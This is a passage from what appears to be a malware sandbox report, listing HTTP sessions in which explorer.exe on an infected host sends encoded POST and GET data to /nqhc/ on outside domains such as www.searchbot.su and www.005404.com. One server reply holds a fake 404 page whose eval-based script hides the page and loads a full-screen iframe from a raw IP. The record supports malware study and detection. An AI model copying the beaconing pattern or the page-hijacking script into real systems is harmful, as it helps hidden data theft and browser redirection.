75 64 50 77 30 52 74 61 44 33 4f 4a 66 53 31 54 46 48 79 53 67 52 52 56 32 77 6b 41 68 31 35 5f 74 36 55 46 68 31 41 6b 70 73 6a 50 66 33 44 77 7e 62 37 55 79 75 62 75 62 46 4e 39 77 4a 39 67 5a 6b 28 52 4a 4c 4c 65 6d 57 75 4a 31 64 30 4d 59 69 73 4e 44 31 6f 30 4d 68 64 45 41 71 5a 4f 6b 65 73 6b 30 4a 6d 79 58 71 79 50 75 51 37 37 50 46 78 6c 59 5a 72 7a 37 4d 67 4e 75 63 71 78 57 72 61 38 4a 51 52 73 45 4d 36 31 34 73 7e 4f 7a 52 79 5a 77 4e 4c 34 6d 72 58 4a 4b 39 66 79 73 43 49 33 77 52 7a 32 52 7a 7e 38 4d 36 45 45 7e 63 41 55 28 72 7e 51 57 62 53 69 4c 76 77 69 6a 4c 74 45 35 4a 37 50 4e 5f 4e 35 77 69 56 34 50 41 34 59 41 39 79 58 35 73 56 36 46 36 65 62 69 55 53 66 6e 31 6a 41 54 6d 6e 46 50 58 66 78 4e 4e 64 64 78 78 69 32 63 6f 65 47 73 65 64 49 4d 48 64 59 76 4a 4c 70 53 49 35 39 49 6a 69 38 68 38 56 75 54 64 35 36 42 58 34 44 35 48 4a 68 78 46 75 6e 79 54 31 6a 57 76 78 79 42 6c 63 4f 49 52 34 45 69 54 56 5f 6e 49 28 31 30 5a 6e 48 75 2d 49 50 72 36 5a 31 6d 59 44 71 4a 56 50 2d 71 6b 49 44 72 52 59 4f 31 49 57 53 34 50 61 64 65 7a 4b 50 5a 45 67 58 52 50 57 33 69 77 4f 5a 33 52 37 55 7e 77 35 5f 72 5a 78 71 63 74 4a 67 41 6a 41 79 79 54 78 6a 75 58 43 6e 50 67 47 75 6c 7a 4f 65 76 5a 70 49 74 67 72 39 30 42 70 2d 47 6e 72 6d 63 30 58 77 4d 67 50 69 28 77 43 31 6c 78 67 32 6b 6c 61 78 71 77 76 4a 38 2d 72 41 6d 4d 53 41 4d 30 6d 71 44 62 4e 6b 53 37 55 4d 32 6b 75 78 6e 44 50 32 78 58 69 4c 38 4d 7e 7a 50 41 7e 56 54 70 53 72 67 54 49 66 58 65 39 47 71 57 6b 39 4a 6e 77 42 56 6d 4e 5a 7e 38 38 4a 6c 67 7e 52 47 7a 6f 69 6e 74 5a 32 7e 4c 45 4d 42 63 7a 4f 68 75 77 7a 68 34 7a 67 4a 78 55 36 38 42 33 51 4b 4a 48 35 65 72 48 56 59 2d 48 4e 35 75 4b 4f 28 57 75 43 4b 70 70 45 41 32 48 5a 7e 47 59 55 38 36 6a 72 73 4d 68 42 59 5a 78 78 6c 68 53 4e 71 63 49 6d 53 30 34 7a 46 6d 35 48 7e 53 31 50 76 41 69 70 62 44 4f 69 52 65 59 71 46 32 41 76 74 30 76 31 61 31 4c 79 33 69 58 55 50 54 63 45 34 67 28 72 6f 56 44 6d 54 4c 76 38 4f 6f 65 47 38 7a 30 38 61 68 44 2d 75 Data Ascii: 7nWHV=DwjUP3e1xl1YVlY12VYjyPWH6qidmS0NwYWqWN98ssgnUHCKqrunWbMQvRMKSzz5sqd1Uc1dMl2DWp1yzWWQ7QWmQLcJnzTe6yp0iPtP6YhO~0CME14ZcwFfGekyN37sAI2PQWvzpLqq1WqKyO88Rel6GBpAelVfKBz4Zl6Kk_~ewdENpB7tP_7lwdL-3PdwKQjybFGjPtLvZYmBfGIcsK8tLhYWzRV5Tmay00BCOpEVKrWy6WJqmyE2NX5eX-QKahAeVKH_24anYmb5O0sSk5fATQMRWELR5rHWgpq-UaHEfKUZgomcHbsxKRY9dCaCQXx068jWyYNCrDrVntiTTL30ZZRxiv8rK0b1P3XqyL3oBiHrrcOkahsRL2jEjcna1rIdyETCs3uGsRR66F0VycNHf0K1PRfk8Xw9QETBVEnU5vr9oqJJX9tzato1PFE_2SpwfBmCOILKF2Qs~_gU9XpBOXIqpHlJP74HFh6yYKEvnx66DmQ_ePdl~gQnDWpbHRR3lONoTEH10VISHcysQbRKf0bDxqiImlBoOv6erXG3PJY9oT3Ebym9pxoZsecckuY4hxGSDet_Q0NjjblBQgfaK3Uj5YOGePbHN1TtYAO8myGa1MXLGvwjhU3B6Yz2~GqLvVcSrlxodJjxgynCoAaJhqCUdb0kKfzPDA7qcvm1RekNudPw0RtaD3OJfS1TFHySgRRV2wkAh15_t6UFh1AkpsjPf3Dw~b7UyububFN9wJ9gZk(RJLLemWuJ1d0MYisND1o0MhdEAqZOkesk0JmyXqyPuQ77PFxlYZrz7MgNucqxWra8JQRsEM614s~OzRyZwNL4mrXJK9fysCI3wRz2Rz~8M6EE~cAU(r~QWbSiLvwijLtE5J7PN_N5wiV4PA4YA9yX5sV6F6ebiUSfn1jATmnFPXfxNNddxxi2coeGsedIMHdYvJLpSI59Iji8h8VuTd56BX4D5HJhxFunyT1jWvxyBlcOIR4EiTV_nI(10ZnHu-IPr6Z1mYDqJVP-qkIDrRYO1IWS4PadezKPZEgXRPW3iwOZ3R7U~w5_rZxqctJgAjAyyTxjuXCnPgGulzOevZpItgr90Bp-Gnrmc0XwMgPi(wC1lxg2klaxqwvJ8-rAmMSAM0mqDbNkS7UM2kuxnDP2xXiL8M~zPA~VTpSrgTIfXe9GqWk9JnwBVmNZ~88Jlg~RGzointZ2~LEMBczOhuwzh4zgJxU68B3QKJH5erHVY-HN5uKO(WuCKppEA2HZ~GYU86jrsMhBYZxxlhSNqcImS04zFm5H~S1PvAipbDOiReYqF2Avt0v1a1Ly3iXUPTcE4g(roVDmTLv8OoeG8z08ahD-ulBYkXPH8HOJ84rBA6Nb9ppVQKrRev4_TJUrASCXzQrjW4wNg0auhj~sB837rFg2pyO5CNF4orTm1o78lmmmuyCgKQHkPUznU_CtbXXFnbf9C3UUkqOZhXDqh9gknZIsYIGBfRvUdUMQaXp7JW2J5McANgXd7Dqxjjf3UCsALnW0jFRjC3BOEhfzrT~_hfRvTmEqdtYvW6MzJ6LVoG(0lK5IHlBNeUKpTOFZPFfNIgZypEY7plKXW_cxJReXPOxdJz~Arcxs5VJ6vX6f5b3CcAW3lpEBw2D5NxyBnI(RmgwJiSwtCKPVj3RqrwrErN0oCwCDEPly4Iv_rm9ZL1C85Zh0XECC6GkUFVshHhirjdHtGxtIbW3d1kIAvch24rEPKfkEEObevsKQfPh3nOvM(lJwqgm1ERGqVyQEB1iPEDTGups9shhYCJOaZwAJf9DO9FEXKdycl6ZeI0uggq13tDARHeUf6_itO1J2AWOPzFLutN3ODtbE~K4kmmZdVmI_ybyXjSmOXLzbsBLTo59RvmsvCqG-p0n_81MbLjPBCgE7~Ta3wVSov-fmeu(T~vcUed~ZCqDwA4Emdgg6R-i1OoMqnLJIFIAgjaqgylUKWBLT4FgLgiHqCZlQCuNjmHAGdeQj9Tz8EzCfOhT8LjStT_ZiwKQRN0bpwJezmWz3xrVNxshjHucJ(BngPIezn_5apL2l1h5Sujbq0OI5nbxzgF18J-hjPscKhE7_xZhc0wapnl4SLvBT2ewMZ3sCyZ0eMSDkiZsxGckjVc2OME40bjcmJdzAJCYLT_5RfJRnLbqmLOBY0KAAup
Dec 5, 2022 15:16:27.544384956 CET	11531	OUT	Data Raw: 59 43 59 6a 68 4d 4e 4b 53 68 35 4d 32 2d 78 52 4f 33 6f 68 53 37 65 62 73 44 72 78 35 7a 66 30 6e 6f 6a 44 53 43 28 68 53 63 4f 4a 52 6e 47 52 75 2d 5a 48 72 31 42 56 4a 32 6b 66 73 6d 58 5a 43 74 36 76 49 78 4b 70 68 55 34 73 59 66 44 52 43 67 Data Ascii: YCYjhMNKSh5M2-xRO3ohS7ebsDrx5zf0nojDSC(hScOJRnGRu-ZHr1BVJ2kfsmXZCt6vIxKphU4sYfDRCgwWQSroL4(W48nz37HYiODXYmjKp1VFOGgkLSZ_rqOM(iN1XQNpImRLSfeEiD(CHCtqAK~w(3U_lyYjgAi3r0KOrzhTBg4fuP78VN40eTi6gXV3KLPBZDlf6EGHt6p6CkwbFmf1T7k58sJ6SUa15JsoBKlXtzi1I1j
Dec 5, 2022 15:16:27.544465065 CET	11537	OUT	Data Raw: 4e 36 57 31 37 74 62 72 63 6c 43 37 5a 30 6d 74 50 45 76 4e 54 51 33 49 48 37 4f 47 4b 4b 4b 36 52 68 4d 4e 62 64 46 45 66 64 41 78 76 2d 73 6a 43 42 68 74 4a 39 4b 61 57 2d 63 7a 30 76 75 43 52 6e 34 45 66 41 4e 57 55 55 4a 41 51 52 4e 56 61 76 Data Ascii: N6W17tbrclC7Z0mtPEvNTQ3IH7OGKKK6RhMNbdFEfdAxv-sjCBhtJ9KaW-cz0vuCRn4EfANWUUJAQRNVavcjMBF5uLZmT2ZNJYc3xhUvcxhZZ8tprDWlC9GYRRbPdkwF1kPo~eNUSocNV55cofN1lG7R9ZVpm5p8T5qi7MTnw6Z_GqqFDxCAXP8W84pqd7kSCzVP39kN2SVb7bUvcVNTcuRfiHqPwC8-QeAYBE0Ps-ftb2L73XT
Dec 5, 2022 15:16:27.795523882 CET	11539	OUT	Data Raw: 4a 66 52 6d 7a 39 71 4f 76 75 35 61 37 30 73 54 73 6d 7a 72 65 77 41 70 4e 45 39 77 30 4c 5a 56 43 78 32 47 66 39 28 38 54 70 54 4d 54 70 36 38 64 48 47 41 69 2d 32 39 51 67 33 4e 7a 4a 6e 4e 32 50 6b 52 43 4a 47 44 38 70 28 47 61 4a 37 74 55 57 Data Ascii: JfRmz9qOvu5a70sTsmzrewApNE9w0LZVCx2Gf9(8TpTMTp68dHGAi-29Qg3NzJnN2PkRCJGD8p(GaJ7tUWgEvEJZ91I0EOhDxL7l(9RuEsq-2djGg0U2kFeOzxjMIQrQRV5B9fFbSdho1fJNbmbln0er48IqaW4UKb3z4PrbjOqFp9h33l3QQse84uEZO1dm0xJ4tJHjeWVdsxzlxJEg5LRCM2I2CIIdPEBThNkHIwp0nj1sh51
Dec 5, 2022 15:16:27.795701981 CET	11560	OUT	Data Raw: 66 4b 5a 70 66 41 4e 72 76 68 31 51 73 70 70 39 6d 79 79 43 4a 68 56 75 36 41 54 4d 31 55 62 43 52 75 6f 6e 57 7a 56 74 76 58 52 59 44 57 37 45 61 41 61 59 51 38 6b 31 4e 4f 47 54 73 45 76 74 6e 57 4f 4a 79 54 62 57 6e 50 57 49 59 66 31 6e 6d 74 Data Ascii: fKZpfANrvh1Qspp9myyCJhVu6ATM1UbCRuonWzVtvXRYDW7EaAaYQ8k1NOGTsEvtnWOJyTbWnPWIYf1nmtOxMhdGX_ljBaAphYWozMsmuFxACLA7RICJdbWV(X(RFis7RFiS~Znct11idUPfKqbGYn86K2H_Pfk9zTnF5p8lm2MZ4DEQAqLgRS(Q~vlssMRwUxeMLyrtrRTTr8hklN0DUmBlVOVXH98nvjtCEhGIzaHsPR7-kKI
Dec 5, 2022 15:16:27.795753002 CET	11562	OUT	Data Raw: 69 45 66 67 67 61 51 77 38 63 35 64 52 6f 37 56 34 77 69 66 7e 49 33 4b 54 51 53 33 79 42 6b 72 62 69 79 47 5a 64 72 4a 68 42 72 38 7a 48 50 33 70 7a 77 56 63 57 28 33 69 6a 5a 76 65 2d 7a 5a 41 44 4f 31 53 75 7e 47 4e 51 77 50 33 76 5a 39 6f 6e Data Ascii: iEfggaQw8c5dRo7V4wif~I3KTQS3yBkrbiyGZdrJhBr8zHP3pzwVcW(3ijZve-zZADO1Su~GNQwP3vZ9on4paETBCJ8ixSbiBMMg~HTrspq2wEA1x7gzzfUSfUpez1dE73QhVS3d7nWIq9vrSU3E6Gvs(76-YQ6LfhCHfJZDjjeT7mHjzbrWuOVzIsu0niCo40pvZlPfq2ntPFc8s9Xzy0U7F2vwNUh_VAg7MbgBc496(zZUFQk
Dec 5, 2022 15:16:27.796114922 CET	11563	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:16:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0
Dec 5, 2022 15:16:28.047391891 CET	11569	OUT	Data Raw: 65 69 49 30 57 47 75 77 54 65 6e 6b 72 2d 66 52 6a 70 4b 46 41 56 6e 42 4e 36 37 77 6f 71 62 35 61 67 37 75 53 30 7a 69 6c 52 4e 50 5a 58 65 59 4b 63 6d 38 57 30 6b 50 34 74 4c 72 48 65 6e 64 72 44 47 73 39 69 6d 35 30 54 4b 69 33 4c 54 6d 63 63 Data Ascii: eiI0WGuwTenkr-fRjpKFAVnBN67woqb5ag7uS0zilRNPZXeYKcm8W0kP4tLrHendrDGs9im50TKi3LTmcc1GEdzjKytr(tl2RAUPkgo1BVuFi1pdz1dRC2xEpd6vK5V_uzXIhOz2RpK10-ilv3UyMcmGomrfVR6dlG4GjnnMXrgY(OOSMJvk(Gbq2GD711g4LDRjygYtOVbd8tUYvAxUQG3XEaqIadyXq6Hu7etN(qAzetF_VnD
Dec 5, 2022 15:16:28.047499895 CET	11577	OUT	Data Raw: 52 45 52 63 58 53 39 59 44 65 63 5f 35 74 4a 65 6b 6f 6c 58 50 35 57 62 28 5a 36 47 5a 6a 6f 4a 7a 64 61 64 47 64 50 2d 35 46 55 52 33 42 7a 33 43 61 43 48 73 72 34 31 51 36 32 63 6d 55 76 4b 74 36 53 65 43 2d 79 48 39 58 39 76 33 35 51 44 45 7a Data Ascii: RERcXS9YDec_5tJekolXP5Wb(Z6GZjoJzdadGdP-5FUR3Bz3CaCHsr41Q62cmUvKt6SeC-yH9X9v35QDEzf4krqiAPGF9fE9zL0UIZdgVzs0q6pDMPERd9E6m-a3cZ6ZLB7TCtXkKMFzA-4tmYbM2vxxN6qv2Ati3wtimDxeXfrvHwPC236MYbZaS94asEA0R4UCQn4FqvMu2pg8UgkGtLVWX4jYM_YhRzDGUP~uiTLSeZMu3TC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.11.20	49837	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:00.752768040 CET	11087	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 68 71 50 63 4a 53 4c 33 50 73 74 6f 61 70 61 52 76 30 4b 52 30 70 68 4f 30 4e 45 51 34 4a 4f 38 66 61 6b 44 33 38 6c 38 43 57 66 6c 75 35 6a 6c 28 76 75 52 30 4d 55 62 33 43 72 61 63 63 35 58 47 68 44 33 65 68 6c 39 56 44 66 49 4e 55 43 4b 72 47 31 57 32 69 75 4f 35 5a 45 50 73 61 36 4f 57 50 78 66 77 41 47 37 59 43 48 6a 55 6a 61 31 6d 53 66 35 6c 49 43 67 4f 61 77 36 78 46 32 51 34 7a 38 59 52 69 6d 61 73 4b 31 65 35 63 7a 55 61 56 4d 43 64 6e 5a 52 43 69 30 62 6d 38 39 56 54 50 64 57 56 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=9jZPDiqEJGn1hqPcJSL3PstoapaRv0KR0phO0NEQ4JO8fakD38l8CWflu5jl(vuR0MUb3Cracc5XGhD3ehl9VDfINUCKrG1W2iuO5ZEPsa6OWPxfwAG7YCHjUja1mSf5lICgOaw6xF2Q4z8YRimasK1e5czUaVMCdnZRCi0bm89VTPdWVg).
Dec 5, 2022 15:15:00.844695091 CET	11087	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 05 Dec 2022 14:15:00 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.11.20	49870	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:29.824801922 CET	11578	OUT	GET /nqhc/?7nWHV=OyL0MBeXxkJ8chUEliFq9s6bwomTkxJ31rz9dsojrpNScTyiwKCDYYQmiQ8xCDXEzp0hbp4MCFP9aLVw4Be6pAeHIY4JilfakQ==&t0D=yFNHS0IX HTTP/1.1 Host: www.005404.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:16:30.076570034 CET	11580	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:16:29 GMT Content-Type: text/html Content-Length: 1741 Connection: close Vary: Accept-Encoding ETag: "634bbb43-6cd" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 3e 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 62 61 69 64 75 22 29 20 3d 3d 20 2d 31 29 7b 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 20 3d 22 e6 be b3 e9 97 a8 e9 93 b6 e6 b2 b3 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 34 35 2e 31 32 32 2e 31 33 38 2e 34 35 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 27 27 29 3b 76 61 72 20 73 73 3d 27 3c 64 69 76 20 69 64 3d 22 73 68 6f 77 63 6c 6f 6e 65 73 68 65 6e 67 78 69 61 6f 6e 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 29 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 69 6e 69 74 69 61 6c 20 69 6e 69 74 69 61 6c 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 69 6e 69 74 69 61 6c 20 69 6e 69 74 69 61 6c 3b 22 3e 3c 69 66 72 61 6d 65 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 79 65 73 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 30 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 30 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 77 69 64 74 68 3d 22 31 34 30 30 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 73 72 63 3d 22 26 23 31 30 34 3b 26 23 31 31 36 3b 26 23 31 31 36 3b 26 23 31 31 32 3b 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 35 32 3b 26 23 35 33 3b 26 23 34 36 3b 26 23 34 39 3b 26 23 35 30 3b 26 23 35 30 3b 26 23 34 36 3b 26 23 34 39 3b 26 23 35 31 3b 26 23 35 36 3b 26 23 34 36 3b 26 23 35 32 3b 26 23 35 33 3b 26 23 34 37 3b 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 64 69 76 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 68 74 6d 6c 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 20 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 3c 2f 73 74 79 6c 65 3e 27 3b 65 76 61 6c 28 22 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 22 2b 73 73 2b 22 27 29 3b 22 29 3b 74 72 79 7b 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 64 69 76 41 6c 6c 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 63 61 74 63 68 28 65 29 7b 7d 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 74 72 79 7b 76 61 72 20 74 61 67 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 74 61 67 4e 61 6d 65 3b 76 61 72 20 6d 79 69 64 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 69 64 3b 69 66 28 6d 79 69 64 21 3d 22 69 63 6f Data Ascii: <html><head><meta charset="UTF-8"/><title>404 Not Found</title><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title =""}</script><link rel="icon" type="image/x-icon" href="http://45.122.138.45/favicon.ico"><script>document.writeln('');var ss='<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><iframe scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="1400" height="100%" src="http://45.122.138.45/"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';eval("document.write('"+ss+"');");try{setInterval(function(){try{document.getElementById("divAll").style.display="none"}catch(e){}for(var i=0;i<document.body.children.length;i++){try{var tagname=document.body.children[i].tagName;var myid=document.body.children[i].id;if(myid!="ico
